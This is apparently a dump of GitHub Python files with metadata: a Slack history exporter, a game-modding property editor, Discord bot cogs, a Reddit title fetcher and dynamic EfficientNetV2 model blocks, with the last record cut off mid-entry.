{"seq_id": "73097557029", "text": "#!/usr/bin/python3\nimport argparse\nimport logging\n\nimport slackclient\nimport json\nimport datetime\n\n\nclass UserMap:\n    def __init__(self, user_id_to_name):\n        self._user_id_to_name = user_id_to_name\n\n    def get_username(self, message):\n        if message.get(\"user\"):\n            return self._user_id_to_name[message[\"user\"]]\n        if message.get(\"bot_id\"):\n            return message[\"bot_id\"]\n        raise Exception(\"unknown username: %s\" % message)\n\nclass APIWrapper:\n    def __init__(self, token):\n        self._slackclient = slackclient.SlackClient(token)\n\n    def get_messages(self, channel_name):\n        \"\"\" get all messages from channel \"\"\"\n        channel_id = self._channel_name_to_channel_id(channel_name)\n        msgs = []\n        while True:\n            args = dict(count=1000, channel=channel_id)\n            if msgs:\n                args[\"latest\"] = msgs[-1][\"ts\"]\n            resp = self._api_call(\"channels.history\", **args)\n            msgs += resp[\"messages\"]\n            if resp[\"is_limited\"] or not resp[\"has_more\"]:\n                break\n        return msgs\n\n    def get_user_map(self):\n        users = self._api_call(\"users.list\")\n        user_map_data = {u[\"id\"]: u[\"name\"] for u in users[\"members\"]}\n        return UserMap(user_map_data)\n\n    def _channel_name_to_channel_id(self, channel_name):\n        channels = self._api_call(\"channels.list\")\n        for c in channels[\"channels\"]:\n            if c.get(\"name\") == channel_name:\n                return c.get(\"id\")\n        raise KeyError(\"Channel %s not found in %s\" % (channel_name, channels))\n\n    def _api_call(self, *a, **kw):\n        resp = self._slackclient.api_call(*a, **kw)\n        if not resp[\"ok\"]:\n            raise Exception(\"not ok\")\n        return resp\n\ndef nice_ts(tsarg):\n    \"\"\" prettify timestamp string with microseconds precision\n        NOTE: timezones may not always work correctly\n    \"\"\"\n    ts, msec = map(int, tsarg.split(\".\"))\n    d = datetime.datetime.fromtimestamp(ts)\n    d = d.replace(microsecond=msec)\n    return d.strftime(\"%Y-%m-%d %H:%M:%S.%f\")\n\ndef prettify_text_for_csv(text):\n    if \"\\n\" in text:\n        text = \"\\n\" + text\n    # standard CSV escape character is \"\n    text = text.replace(\"\\\"\", \"\\\"\\\"\")\n    text = text.replace(\"\\t\", \"\\\"\\t\")\n    return text\n\ndef make_csv_line(msg):\n    \"\"\" prefix multiline message with \\n, for better reading comfort\n        and escape characters, so that CSV can be parsed again\n    \"\"\"\n    text = prettify_text_for_csv(msg.get(\"text\", \"\"))\n    return \"\\t\".join([msg[\"datetime\"], msg[\"username\"], text])\n\ndef get_pretty_messages(client, channel):\n    msgs = client.get_messages(channel)\n    user_map = client.get_user_map()\n\n    for m in msgs:\n        try:\n            m[\"datetime\"] = nice_ts(m[\"ts\"])\n            m[\"username\"] = user_map.get_username(m)\n            m[\"csv_line\"] = make_csv_line(m)\n        except Exception:\n            logging.exception(\"Error with message %s\" % m)\n    return msgs\n\ndef run():\n    p = argparse.ArgumentParser(description=\"Dump slack channel archive in full JSON and human-readable CSV\")\n    p.add_argument(\"--channel\", default=\"konfa\")\n    p.add_argument(\"-s\", \"--secret-file\", default=\"secret.txt\",\n                   help=\"Get it from https://api.slack.com/custom-integrations/legacy-tokens\")\n    p.add_argument(\"--csv\", default=\"output.csv\", help=\"Output csv path\")\n    p.add_argument(\"--json\", default=\"output.json\", help=\"Output json path\")\n    args = p.parse_args()\n\n    client = APIWrapper(open(args.secret_file, \"r\").read().strip())\n    msgs = get_pretty_messages(client, args.channel)\n    with open(args.json, \"w\") as jsonfile:\n        json.dump(msgs, jsonfile, indent=4)\n    with open(args.csv, \"w\") as csvfile:\n        for l in msgs:\n            # noinspection PyTypeChecker\n            print(l[\"csv_line\"], file=csvfile)\n\nif __name__ == \"__main__\":\n    run()", "repo_name": "k-stanislawek/slack_history_saver", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "slackclient.SlackClient", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "attribute"}, {"api_name": "logging.exception", "line_number": 91, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 95, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 106, "usage_type": "call"}]}
{"seq_id": "40681033391", "text": "from __future__ import annotations\n\nimport dataclasses\nimport typing\n\nfrom retro_data_structures.formats.mlvl import Mlvl\nfrom retro_data_structures.formats.script_object import InstanceId\nfrom retro_data_structures.properties import field_reflection\nfrom retro_data_structures.properties.base_property import BaseObjectType, BaseProperty\nfrom retro_data_structures.properties.echoes import objects\n\nfrom pwime.operations.base import Operation\n\nif typing.TYPE_CHECKING:\n    from retro_data_structures.formats.script_object import ScriptInstance\n\n    from pwime.asset_manager import OurAssetManager\n    from pwime.project import Project\n    from pwime.util.json_lib import JsonObject\n\n\n@dataclasses.dataclass(frozen=True)\nclass InstanceReference:\n    mlvl: int\n    mrea: int\n    instance_id: InstanceId\n\n    def to_json(self) -> JsonObject:\n        return {\n            \"mlvl\": self.mlvl,\n            \"mrea\": self.mrea,\n            \"instance_id\": self.instance_id,\n        }\n\n    @classmethod\n    def from_json(cls, data: JsonObject) -> typing.Self:\n        data_json = typing.cast(dict[str, int], data)\n        return cls(data_json[\"mlvl\"], data_json[\"mrea\"], InstanceId(data[\"instance_id\"]))\n\n\n@dataclasses.dataclass(frozen=True)\nclass PropReference:\n    instance: InstanceReference\n    path: tuple[str, ...]\n\n    def append(self, field: str) -> PropReference:\n        return PropReference(self.instance, self.path + (field,))\n\n\ndef get_instance(manager: OurAssetManager, reference: InstanceReference) -> ScriptInstance:\n    \"\"\"Gets a ScriptInstance from a InstanceReference\"\"\"\n    mlvl = manager.get_file(reference.mlvl, Mlvl)\n    area = mlvl.get_area(reference.mrea)\n    return area.get_instance(reference.instance_id)\n\n\nPropType = typing.TypeVar(\"PropType\", bound=BaseObjectType)\n\n\ndef _modified_fields(prop: type[BaseProperty], delta: JsonObject, parent: str = \"\") -> list[str]:\n    result = []\n\n    for name, reflection in field_reflection.get_reflection(prop).items():\n        key = f\"0x{reflection.id:08X}\"\n        if key not in delta:\n            continue\n\n        if issubclass(reflection.type, BaseProperty) and field_reflection.get_reflection(reflection.type):\n            result.extend(_modified_fields(reflection.type, delta[key], f\"{parent}{name}.\"))\n        else:\n            result.append(f\"{parent}{name}\")\n\n    return result\n\n\ndef create_patch_for(instance: ScriptInstance, value_path: tuple[str, ...], new_value: typing.Any) -> JsonObject:\n    delta = {}\n    current_type = instance.type\n    current_value = delta\n\n    for i, name in enumerate(value_path):\n        reflection = field_reflection.get_reflection(current_type)[name]\n        current_type = reflection.type\n        key = f\"0x{reflection.id:08X}\"\n        if i == len(value_path) - 1:\n            current_value[key] = reflection.to_json(new_value)\n        else:\n            current_value[key] = {}\n            current_value = current_value[key]\n\n    return delta\n\n\ndef patch_property(prop: PropType, delta: JsonObject) -> None:\n    for name, reflection in field_reflection.get_reflection(type(prop)).items():\n        key = f\"0x{reflection.id:08X}\"\n        if key not in delta:\n            continue\n\n        if issubclass(reflection.type, BaseProperty) and field_reflection.get_reflection(reflection.type):\n            patch_property(getattr(prop, name), delta[key])\n        else:\n            setattr(prop, name, reflection.from_json(delta[key]))\n\n\nclass ScriptInstancePropertyEdit(Operation, typing.Generic[PropType]):\n    \"\"\"Represents changing a property of an existing script object.\"\"\"\n\n    reference: InstanceReference\n    prop_type: type[PropType]\n    delta: JsonObject\n    old_value: PropType | None = None\n\n    def __init__(self, reference: InstanceReference, prop_type: type[PropType], delta: JsonObject):\n        self.reference = reference\n        self.prop_type = prop_type\n        self.delta = delta\n\n    def perform(self, project: Project) -> None:\n        \"\"\"Performs the change.\"\"\"\n        instance = get_instance(project.asset_manager, self.reference)\n        self.old_value = instance.get_properties()\n\n        with instance.edit_properties(self.prop_type) as prop:\n            patch_property(prop, self.delta)\n\n    def undo(self, project: Project) -> None:\n        \"\"\"Reverts the change.\"\"\"\n        assert self.old_value is not None\n        instance = get_instance(project.asset_manager, self.reference)\n        instance.set_properties(self.old_value)\n\n    def _modified_fields(self) -> list[str]:\n        return _modified_fields(self.prop_type, self.delta)\n\n    def overwrites_operation(self, operation: Operation) -> bool:\n        \"\"\"Yes if changing the same field of the same object.\"\"\"\n        if isinstance(operation, ScriptInstancePropertyEdit):\n            if self.reference != operation.reference:\n                return False\n            return self._modified_fields() == operation._modified_fields()\n        return False\n\n    def describe(self) -> str:\n        return (\n            f\"Edited fields {', '.join(self._modified_fields())} of `{self.reference.instance_id}`,\"\n            f\" a {self.prop_type.__name__}\"\n        )\n\n    def to_json(self) -> JsonObject:\n        return {\n            \"kind\": \"script_instance_property_edit\",\n            \"reference\": self.reference.to_json(),\n            \"prop_type\": self.prop_type.object_type(),\n            \"delta\": self.delta,\n        }\n\n    @classmethod\n    def from_json(cls, data: JsonObject) -> typing.Self:\n        return cls(\n            reference=InstanceReference.from_json(data[\"reference\"]),\n            prop_type=objects.get_object(data[\"prop_type\"]),\n            delta=data[\"delta\"],\n        )\n", "repo_name": "henriquegemignani/pwime", "sub_path": "src/pwime/operations/script_instance.py", "file_name": "script_instance.py", "file_ext": "py", "file_size_in_byte": 5659, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 14, "usage_type": "attribute"}, {"api_name": "retro_data_structures.formats.script_object.InstanceId", "line_number": 26, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 28, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 37, "usage_type": "call"}, {"api_name": "retro_data_structures.formats.script_object.InstanceId", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.Self", "line_number": 36, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 22, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 41, "usage_type": "call"}, {"api_name": "pwime.asset_manager.OurAssetManager", "line_number": 50, "usage_type": "name"}, {"api_name": "retro_data_structures.formats.mlvl.Mlvl", "line_number": 52, "usage_type": "argument"}, {"api_name": "retro_data_structures.formats.script_object.ScriptInstance", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.TypeVar", "line_number": 57, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.base_property.BaseObjectType", "line_number": 57, "usage_type": "name"}, {"api_name": "retro_data_structures.properties.base_property.BaseProperty", "line_number": 60, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 60, "usage_type": "name"}, {"api_name": "retro_data_structures.properties.field_reflection.get_reflection", "line_number": 63, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.field_reflection", "line_number": 63, "usage_type": "name"}, {"api_name": "retro_data_structures.properties.base_property.BaseProperty", "line_number": 68, "usage_type": "argument"}, {"api_name": "retro_data_structures.properties.field_reflection.get_reflection", "line_number": 68, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.field_reflection", "line_number": 68, "usage_type": "name"}, {"api_name": "retro_data_structures.formats.script_object.ScriptInstance", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 76, "usage_type": "attribute"}, {"api_name": "retro_data_structures.properties.field_reflection.get_reflection", "line_number": 82, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.field_reflection", "line_number": 82, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 76, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 94, "usage_type": "name"}, {"api_name": "retro_data_structures.properties.field_reflection.get_reflection", "line_number": 95, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.field_reflection", "line_number": 95, "usage_type": "name"}, {"api_name": "retro_data_structures.properties.base_property.BaseProperty", "line_number": 100, "usage_type": "argument"}, {"api_name": "retro_data_structures.properties.field_reflection.get_reflection", "line_number": 100, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.field_reflection", "line_number": 100, "usage_type": "name"}, {"api_name": "pwime.operations.base.Operation", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Generic", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 111, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 114, "usage_type": "name"}, {"api_name": "pwime.project.Project", "line_number": 119, "usage_type": "name"}, {"api_name": "pwime.project.Project", "line_number": 127, "usage_type": "name"}, {"api_name": "pwime.operations.base.Operation", "line_number": 136, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 150, "usage_type": "name"}, {"api_name": "pwime.util.json_lib.JsonObject", "line_number": 159, "usage_type": "name"}, {"api_name": "retro_data_structures.properties.echoes.objects.get_object", "line_number": 162, "usage_type": "call"}, {"api_name": "retro_data_structures.properties.echoes.objects", "line_number": 162, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 159, "usage_type": "attribute"}]}
{"seq_id": "73677119270", "text": "import sys\n\nfrom discord.ext.commands import Cog, command, check\nfrom discord.utils import find\nfrom typing import List\nfrom bot.settings import CHANNEL_ID, FIELDS, TOPICS, STAGE_3_MODULES, PRONOUNS, SERVER_2020, SERVER_2022_CHANNEL_ID\nfrom bot.cogs.name import Name\n\n\ndef is_in_guild(guild_id):\n    async def predicate(ctx):\n        return ctx.guild and ctx.guild.id == guild_id\n\n    return check(predicate)\n\n\ndef is_in_channel():\n    async def predicate(ctx):\n        member = ctx.message.author\n        channel = member.guild.get_channel(\n            CHANNEL_ID\n        ) if member.guild.id == SERVER_2020 else member.guild.get_channel(\n            SERVER_2022_CHANNEL_ID)\n        return channel.id == ctx.message.channel.id\n\n    return check(predicate)\n\n\nclass RoleChooser(Cog, name=\"Choose Roles\"):\n    \"\"\"List of commands to set roles for various topics and modules\"\"\"\n    def __init__(self, bot):\n        self.bot = bot\n\n    def _common(self, list1, list2):\n        return list(set(list1) & set(list2))\n\n    async def change_role(self, ctx, rolename: str, role_type: str,\n                          pos_roles: List[str], max_num: int):\n        member = ctx.author\n        name = member.nick or member.name\n\n        if not rolename:\n            await ctx.send(\n                f\"You forgot to provide a {role_type} name after the command, {name}!\"\n            )\n            return\n\n        if rolename.lower() not in pos_roles:\n            await ctx.send(f\"Role change failed, {name}.\"\n                           \"You are only allowed the roles below\\n\"\n                           \"```\\n\" + '\\n'.join(pos_roles) + \"\\n```\")\n            return\n\n        author_roles = [\n            role.name.lower() for role in ctx.author.roles\n            if role.name != \"@everyone\"\n        ]\n        common_roles = self._common(author_roles, pos_roles)\n\n        if rolename.lower() in common_roles:\n            await ctx.send(f\"You already have that role, {name}!\")\n            return\n\n        role = find(\n            lambda r: r.name.lower() == rolename.lower(),\n            member.guild.roles,\n        )\n\n        if common_roles:\n            role_objs = [\n                find(\n                    lambda r: r.name.lower() == cr_name,\n                    member.guild.roles,\n                ) for cr_name in common_roles\n            ]\n            if len(role_objs) >= max_num:\n                await member.remove_roles(*role_objs)\n\n        await member.add_roles(role)\n        await ctx.send(f\"Successfully assigned to {role.name}, {name}!\")\n\n    @command(help=\"Select your field\", usage=f\"[{'|'.join(FIELDS)}]\")\n    @is_in_channel()\n    async def field(self, ctx, *, rolename=None):\n        await self.change_role(ctx,\n                               rolename,\n                               \"field\",\n                               pos_roles=FIELDS,\n                               max_num=1)\n\n    @command(help=\"Select your CSC2034 topic\", usage=f\"[{'|'.join(TOPICS)}]\")\n    @is_in_guild(SERVER_2020)\n    @is_in_channel()\n    async def topic(self, ctx, *, rolename=None):\n        await self.change_role(ctx,\n                               rolename,\n                               \"topics\",\n                               pos_roles=TOPICS,\n                               max_num=1)\n\n    @command(help=\"Select your Stage 3 modules\",\n             usage='\\n'.join(STAGE_3_MODULES))\n    @is_in_guild(SERVER_2020)\n    @is_in_channel()\n    async def stage3(self, ctx, *, rolename=None):\n        await self.change_role(\n            ctx,\n            rolename,\n            \"Stage 3 Module\",\n            pos_roles=[x.split(' ')[0] for x in STAGE_3_MODULES],\n            max_num=4)\n\n    @command(help=\"Preferred Pronouns\", usage='\\n'.join(PRONOUNS))\n    @is_in_channel()\n    async def pronoun(self, ctx, *, rolename=None):\n        await self.change_role(ctx,\n                               rolename,\n                               \"Preferred Pronouns\",\n                               pos_roles=PRONOUNS,\n                               max_num=1)\n        member = ctx.author\n        old_nick = member.nick\n        if old_nick is None:\n            old_nick = member.name\n        old_pronoun = None\n        for pronoun in PRONOUNS:\n            if pronoun in old_nick:\n                old_pronoun = pronoun\n        if old_pronoun is None:\n            new_nick = f\"{old_nick} ({rolename})\"\n        else:\n            new_nick = old_nick.replace(old_pronoun, rolename)\n        print(new_nick)\n        await member.edit(nick=new_nick)\n\n\ndef setup(bot):\n    bot.add_cog(RoleChooser(bot))\n", "repo_name": "LukeBriggsDev/Dave-The-Robot", "sub_path": "bot/cogs/role_chooser.py", "file_name": "role_chooser.py", "file_ext": "py", "file_size_in_byte": 4560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "discord.ext.commands.check", "line_number": 14, "usage_type": "call"}, {"api_name": "bot.settings.SERVER_2020", "line_number": 22, "usage_type": "name"}, {"api_name": "bot.settings.CHANNEL_ID", "line_number": 21, "usage_type": "argument"}, {"api_name": "bot.settings.SERVER_2022_CHANNEL_ID", "line_number": 23, "usage_type": "argument"}, {"api_name": "discord.ext.commands.check", "line_number": 26, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 29, "usage_type": "name"}, {"api_name": "bot.settings", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 38, "usage_type": "name"}, {"api_name": "discord.utils.find", "line_number": 64, "usage_type": "call"}, {"api_name": "discord.utils.find", "line_number": 71, "usage_type": "call"}, {"api_name": "bot.settings.FIELDS", "line_number": 88, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 82, "usage_type": "call"}, {"api_name": "bot.settings.FIELDS", "line_number": 82, "usage_type": "argument"}, {"api_name": "bot.settings.TOPICS", "line_number": 98, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 91, "usage_type": "call"}, {"api_name": "bot.settings.TOPICS", "line_number": 91, "usage_type": "argument"}, {"api_name": "bot.settings.SERVER_2020", "line_number": 92, "usage_type": "argument"}, {"api_name": "bot.settings.STAGE_3_MODULES", "line_number": 110, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 101, "usage_type": "call"}, {"api_name": "bot.settings.STAGE_3_MODULES", "line_number": 102, "usage_type": "argument"}, {"api_name": "bot.settings.SERVER_2020", "line_number": 103, "usage_type": "argument"}, {"api_name": "bot.settings.PRONOUNS", "line_number": 119, "usage_type": "name"}, {"api_name": "bot.settings.PRONOUNS", "line_number": 126, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 113, "usage_type": "call"}, {"api_name": "bot.settings.PRONOUNS", "line_number": 113, "usage_type": "argument"}, {"api_name": "bot.settings.add_cog", "line_number": 138, "usage_type": "call"}, {"api_name": "bot.settings", "line_number": 138, "usage_type": "name"}]}
{"seq_id": "72907729191", "text": "#!/usr/bin/python3\nfrom requests import get\n\n\ndef top_ten(subreddit):\n    url = \"https://api.reddit.com/r/{}?sort=hot&limit=10\".format(subreddit)\n    user_agent = \"application/x-www-form-urlencoded\"\n    response = get(url, headers={'User-Agent': user_agent})\n\n    if response.status_code == 200:\n        data = response.json()\n        top = data.get('data').get('children')\n        for new in top:\n            title = new.get('data').get('title')\n            print(title)\n    else:\n        print('None')\n", "repo_name": "jhudaz/holberton-system_engineering-devops", "sub_path": "0x16-api_advanced/1-top_ten.py", "file_name": "1-top_ten.py", "file_ext": "py", "file_size_in_byte": 504, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "14957004371", "text": "from typing import Dict, List\n\nfrom torch import Tensor, nn\n\nfrom modules.modeling.dynamic_blocks.base_dynamic_block import BaseDynamicBlock\nfrom modules.modeling.ops import (\n    DynamicQConvNormActivation, DynamicQSE4ResNet\n)\nfrom modules.modeling.blocks import (\n    FusedMBConvResBlock, FusedMBConvSEResBlock\n)\nfrom modules.modeling.common.utils import make_divisible, get_activation\n\n\nclass _DynamicFusedMBConvBlock(BaseDynamicBlock):\n\n    def __init__(self, max_cin: int, width_list: List[int], kernel_list: List[int], stride: int, expand_list: List[float], use_se: bool, activation=nn.ReLU, inplace=True, force_residual=False) -> None:\n        super().__init__(max_cin, width_list, kernel_list, stride, expand_list, activation)\n        self.use_se = use_se\n        self.force_residual = force_residual\n\n        self.fused_conv = DynamicQConvNormActivation(max_in_channels=self.max_cin, max_out_channels=self.max_hidden_size, kernel_size_list=kernel_list, stride=stride, activation_layer=self.activation_layer, inplace=inplace)\n\n        if self.use_se:\n            self.se = DynamicQSE4ResNet(max_cin=self.max_hidden_size, max_mid=DynamicQSE4ResNet.get_mid_channels(self.max_cin))\n\n        self.point_conv = DynamicQConvNormActivation(max_in_channels=self.max_hidden_size, max_out_channels=self.max_width, kernel_size_list=[1], stride=1, activation_layer=None)\n\n        self.force_residual = force_residual\n        if self.force_residual:\n            self.downsample = DynamicQConvNormActivation(\n                max_in_channels=self.max_cin, max_out_channels=self.max_width,\n                kernel_size_list=[1], stride=stride, activation_layer=None\n            )\n\n    def forward(self, x: Tensor) -> Tensor:\n        cin =  x.shape[1]\n        if self.use_res_connect(cin):\n            x0 = x \n        elif self.force_residual:\n            x0 = self.downsample(x)\n        \n        active_hidden_size = self.get_active_hidden_size(cin)\n\n        x = self.fused_conv.forward(x, out_channels=active_hidden_size)\n\n        if self.use_se:\n            self.se.active_mid_channels = DynamicQSE4ResNet.get_mid_channels(cin)\n            x = self.se(x)\n        x = self.point_conv(x)\n\n        if self.use_res_connect(cin) or self.force_residual:\n            x = x0 + x \n        return x\n\n    def use_res_connect(self, cin):\n        return cin == self.active_width and self.stride == 1\n\n    @property\n    def max_hidden_size(self):\n        return make_divisible(self.max_expand_ratio * self.max_cin)\n\n    def get_active_hidden_size(self, cin: int) -> int:\n        return make_divisible(self.active_expand_ratio * cin)\n\n    @property\n    def active_kernel_size(self) -> int:\n        return self.fused_conv.active_kernel_size\n\n    @active_kernel_size.setter \n    def active_kernel_size(self, kernel_size: int):\n        self.fused_conv.active_kernel_size = kernel_size\n\n    @property\n    def active_width(self) -> int:\n        return self.point_conv.active_out_channels\n\n    @active_width.setter\n    def active_width(self, width: int):\n        self.point_conv.active_out_channels = width \n        if self.force_residual:\n            self.downsample.active_out_channels = width \n\n    @property\n    def active_expand_ratio(self) -> float:\n        return self._active_expand_ratio\n\n    @active_expand_ratio.setter\n    def active_expand_ratio(self, expand_ratio: float):\n        self._active_expand_ratio = expand_ratio\n\n    def zero_last_gamma(self):\n        if self.force_residual:\n            self.point_conv.norm.weight.data.zero_()\n        \n\n\nclass DynamicFusedMBConvResBlock(_DynamicFusedMBConvBlock):\n\n    def __init__(self, max_cin: int, width_list: List[int], kernel_list: List[int], stride: int, expand_list: List[float], activation=nn.ReLU, inplace=True) -> None:\n        super().__init__(max_cin, width_list, kernel_list, stride, expand_list, use_se=False, activation=activation, inplace=inplace, force_residual=True)\n\n    def get_active_block(self, cin: int, retain_weights=True) -> FusedMBConvResBlock:\n        block = FusedMBConvResBlock.build_from_config(self.get_active_block_config(cin))\n        if retain_weights:\n            hidden_size = self.get_active_hidden_size(cin)\n            block.fused_conv.load_state_dict(self.fused_conv.active_state_dict(cin, cout=hidden_size))\n            block.point_conv.load_state_dict(self.point_conv.active_state_dict(hidden_size))\n            if hasattr(block, 'downsample'):\n                block.downsample.load_state_dict(self.downsample.active_state_dict(cin))\n        return block\n\n    def get_active_tf_block(self, cin: int):\n        from modules.modeling.blocks.tf_blocks import FusedMBConvResBlock as FusedMBConvResBlock_TF\n        return FusedMBConvResBlock_TF.build_from_config(self.get_active_block_config(cin))\n\n\nclass DynamicFusedMBConvSEResBlock(_DynamicFusedMBConvBlock):\n\n    def __init__(self, max_cin: int, width_list: List[int], kernel_list: List[int], stride: int, expand_list: List[float], activation=nn.ReLU, inplace=True) -> None:\n        super().__init__(max_cin, width_list, kernel_list, stride, expand_list, use_se=True, activation=activation, inplace=inplace, force_residual=True)\n\n    def get_active_block(self, cin: int, retain_weights=True) -> FusedMBConvSEResBlock:\n        block = FusedMBConvSEResBlock.build_from_config(self.get_active_block_config(cin))\n        if retain_weights:\n            hidden_size = self.get_active_hidden_size(cin)\n            block.fused_conv.load_state_dict(self.fused_conv.active_state_dict(cin, cout=hidden_size))\n            self.se.active_mid_channels = self.se.get_mid_channels(cin)\n            block.se.load_state_dict(self.se.active_state_dict(hidden_size))\n            block.point_conv.load_state_dict(self.point_conv.active_state_dict(hidden_size))\n            if hasattr(block, 'downsample'):\n                block.downsample.load_state_dict(self.downsample.active_state_dict(cin))\n        return block\n\n    def get_active_tf_block(self, cin: int):\n        from modules.modeling.blocks.tf_blocks import FusedMBConvSEResBlock as FusedMBConvSEResBlock_TF\n        return FusedMBConvSEResBlock_TF.build_from_config(self.get_active_block_config(cin))\n\n", "repo_name": "microsoft/Moonlit", "sub_path": "SpaceEvo/modules/modeling/dynamic_blocks/dynamic_efficientnetv2_block.py", "file_name": "dynamic_efficientnetv2_block.py", "file_ext": "py", "file_size_in_byte": 6162, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 35, "dataset": "github-code", "pt": "71", "api": [{"api_name": "modules.modeling.dynamic_blocks.base_dynamic_block.BaseDynamicBlock", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "modules.modeling.ops.DynamicQConvNormActivation", "line_number": 22, "usage_type": "call"}, {"api_name": "modules.modeling.ops.DynamicQSE4ResNet", "line_number": 25, "usage_type": "call"}, {"api_name": "modules.modeling.ops.DynamicQSE4ResNet.get_mid_channels", "line_number": 25, "usage_type": "call"}, {"api_name": "modules.modeling.ops.DynamicQConvNormActivation", "line_number": 27, "usage_type": "call"}, {"api_name": "modules.modeling.ops.DynamicQConvNormActivation", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 36, "usage_type": "name"}, {"api_name": "modules.modeling.ops.DynamicQSE4ResNet.get_mid_channels", "line_number": 48, "usage_type": "call"}, {"api_name": "modules.modeling.ops.DynamicQSE4ResNet", "line_number": 48, "usage_type": "name"}, {"api_name": "modules.modeling.common.utils.make_divisible", "line_number": 61, "usage_type": "call"}, {"api_name": "modules.modeling.common.utils.make_divisible", "line_number": 64, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "modules.modeling.blocks.FusedMBConvResBlock.build_from_config", "line_number": 104, "usage_type": "call"}, {"api_name": "modules.modeling.blocks.FusedMBConvResBlock", "line_number": 104, "usage_type": "name"}, {"api_name": "modules.modeling.blocks.FusedMBConvResBlock", "line_number": 103, "usage_type": "name"}, {"api_name": "modules.modeling.blocks.tf_blocks.FusedMBConvResBlock.build_from_config", "line_number": 115, "usage_type": "call"}, {"api_name": "modules.modeling.blocks.tf_blocks.FusedMBConvResBlock", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 120, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 120, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 120, "usage_type": "name"}, {"api_name": "modules.modeling.blocks.FusedMBConvSEResBlock.build_from_config", "line_number": 124, "usage_type": "call"}, {"api_name": "modules.modeling.blocks.FusedMBConvSEResBlock", "line_number": 124, "usage_type": "name"}, {"api_name": "modules.modeling.blocks.FusedMBConvSEResBlock", "line_number": 123, "usage_type": "name"}, {"api_name": "modules.modeling.blocks.tf_blocks.FusedMBConvSEResBlock.build_from_config", "line_number": 137, "usage_type": "call"}, {"api_name": "modules.modeling.blocks.tf_blocks.FusedMBConvSEResBlock", "line_number": 137, "usage_type": "name"}]}
{"seq_id": "5077691628", "text": "import discord\nfrom discord.ext import commands\nfrom Helpers import EmbedHelper as embed\nimport urbandictionary as ud\n\nclass CMD_UrbanDictionary:\n    def __init__ (self, client):\n        self.client = client\n\n    @commands.command(pass_context = True)\n    async def urban (self, ctx, *searchItem):\n        author = ctx.message.author\n        channel = ctx.message.channel\n\n        search = \"\"\n        for word in searchItem:\n            search += word\n            search += \" \"\n\n        if search == \"\":\n          await embed.SpecifyErrorEmbed(self.client, channel)\n        else:\n          try:\n            search = search.replace('[', '')\n            search = search.replace(']', '')\n\n            definitions = ud.define(search)\n\n            definition = definitions[0]\n\n            definition.word = definition.word.replace('[', '')\n            definition.word = definition.word.replace(']', '')\n            definition.definition = definition.definition.replace('[', '')\n            definition.definition = definition.definition.replace(']', '')\n            definition.example = definition.example.replace('[', '')\n            definition.example = definition.example.replace(']', '')\n\n            await embed.UrbanEmbed(self.client, definition.word, definition.definition, definition.example, definition.upvotes, definition.downvotes, channel)\n          except:\n            await embed.UnknownErrorEmbed(self.client, channel)\n\ndef setup (client):\n    client.add_cog(CMD_UrbanDictionary(client))\n", "repo_name": "Dmunch04/sam-search-bot", "sub_path": "Commands/Search/UrbanDictionaryCommand.py", "file_name": "UrbanDictionaryCommand.py", "file_ext": "py", 